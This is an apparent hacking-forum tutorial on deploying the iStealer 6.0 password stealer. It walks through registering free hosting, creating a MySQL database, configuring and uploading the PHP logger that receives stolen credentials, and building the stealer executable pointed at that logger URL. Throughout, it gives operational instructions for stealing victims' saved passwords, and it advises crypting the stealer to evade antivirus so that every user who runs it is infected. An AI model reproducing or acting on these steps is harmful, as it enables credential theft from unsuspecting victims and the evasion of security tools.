HACKING TRICKS AND TIPS

FAQ (Firstly Asked Questions)

What is iStealer 6.0?
iStealer 6.0 is the currently the latest free/public version (Credits to Gosu for cracking it) of iStealer software, made by Kizar. iStealer is a password stealer, it only steals saved passwords and only runs once. It is does not record keystrokes or run every X minutes like a keylogger. iStealer 6.0 sends the saved passwords to your MySQL database, which you can view using the PHP logger. I also recommend you export all logs from time to time as the host may take down your site as you are not following the t+c.

Is iStealer 6.0 FUD (Fully Undetectable)
iStealer 6.0 is not FUD, therefore if you want 100% of users who run it to get infected, you will have to crypt it. Almost every crypter will crypt iStealer without corrupting it. I recommend using a runtime and scantime crypter. You can find some free ones on this forum, however some may be backdoored so be careful.

Runtime - Runtime means the file will not get detected by the antivirus when it is run on the computer

Scantime - Scantime means the file will not get detected by the antivirus/online virus scan site when it is SCANNED, it will most likely get detected when it is run.

Step 1
Firstly, you will need to download iStealer 6.0. You can download iStealer 6.0 from the link below or if you do not trust download from wherever you want:

MediaFire Mirror
MultiUpload Mirror

Step 2
Now, you need to register to ONE of the free hosting website below:

CWahi Free Hosting Registration

Justfree Registration Page
The registration may not always work, if it does not wait a couple of days and check again

Once registered, make sure you verify your email. If you do not receive the email instantly check Junk/Spam, or wait a few minutes.

Step 3
Now, login using your username you registered with and password you registered with, using the correct login page and steps below:

CWahi Member Login

Once, you have logged in, click databases or click here. Now click "Set up my database".

You should now get the following information about your mySql:

Quote:Your settings:

DB Host: fdb-x-x.cwahi.net
DB Name: yourusername_db1
DB Username: yourusername
DB Password: Random Password

DB Space: 10
Connections: 2

This is only an example, you will get different database information
I recommend saving this information in a notepad document as you may not remember it in the future.

Justfree Login

Once, you have logged in, click Create/delete MySQL database or click here. Now fill out the information as below:

Database Name: username_db
Simply fill this out with db, your username will already be there, then press Create Database. You should get "The requested operation has been completed successfully. " and then get redirected back to the database page.

Username: username_user

Type your own password, and remember it, then press Create user. You should get "The requested operation has been completed successfully. " and then get redirected back to the database page.



Now, under Assign priviledges, you should see your database name and database user, if they are not select your username and database which should be named username_db and username_user.

Tick all boxes, and press assign priviledges. You should get "The requested operation has been completed successfully. " and then get redirected back to the database page.

Your database is now set up.

Step 4
CWahi Method
Now open up index.php in the PHP Logger folder which is in the iStealer 6.0 download. Copy and paste the Datebase info you got above like shown in the picture:


So for the EXAMPLE information above our index.php setup would be:

For:
Simply fill them in as the login you want for the actual iStealer login page.

Once you have filled in YOUR database information in the setup, save the index.php file.

Justfree method
Now open up index.php in the PHP Logger folder which is in the iStealer 6.0 download. Copy and paste the Datebase info you got above like shown in the picture:

Fill out your index.php like below:
$dbHost will ALWAYS remain localhost.
$dbUser will be the username you signed up with and db (or whatever you named your database), so for example username_db
$dbPass is the password you used.
Use the image below if you are confused:


For:
Simply fill them in as the login you want for the actual iStealer login page.

Once you have filled in YOUR database information in the setup, save the index.php file.

Step 5
Follow the correct method for the site you registered.

CWahi
Now press File Manager at the top or click here.

Once there press Upload, and then press Browse under "Files Files entered here will be transferred to the FTP server.", find your index.php and press it, press Add another and find your style.css and press it. Then press the green tick under "Upload files and archives".

JustFree
Now press File Manager at the top or click here.

Once there press Upload or type javascript:form_upload('',1) in the URL bar, and then press Browse, find your index.php and press it, do the same for your style.css. Then press Upload.

You may also want to delete index.html, this is to make your login page come up by just typing in your address, if you do not delete the index.html you will have to type /index.php after your address.

Step 6

CWahi
Now we are done with our PHP Logger, lets test it. Press My Site if you are logged in or go to:

http://yourusername.cwahi.net/

Replace yourusername with your username you registered with.

Log in with the username and password you put on these lines in the index.php:

If you succesfully signed in continue to Step 7.

JustFree

Now we are done with our PHP Logger, lets test it. Press File Manager at the top or click here.

Press index.php, and look at the address bar it should be something like:

http://yourusername.justfree.com/

Replace yourusername with your username you registered with.

Log in with the username and password you put on these lines in the index.php:

If you succesfully signed in continue to Step 7.

Step 7
Open up iStealer.exe, open it in a sandbox/vmware if you do not trust it or think it is backdoored.

On the URL fill in:
http://yourusername.cwahi.net/index.php
OR
http://yourusername.justfree.com/index.php

Replace yourusername with your username you registered with.



Now press Test Url, if it comes up with "Works perfect!", then press Build and select where you want to save your built iStealer server.

Congratulations, you have just set up your own iStealer 6.0 server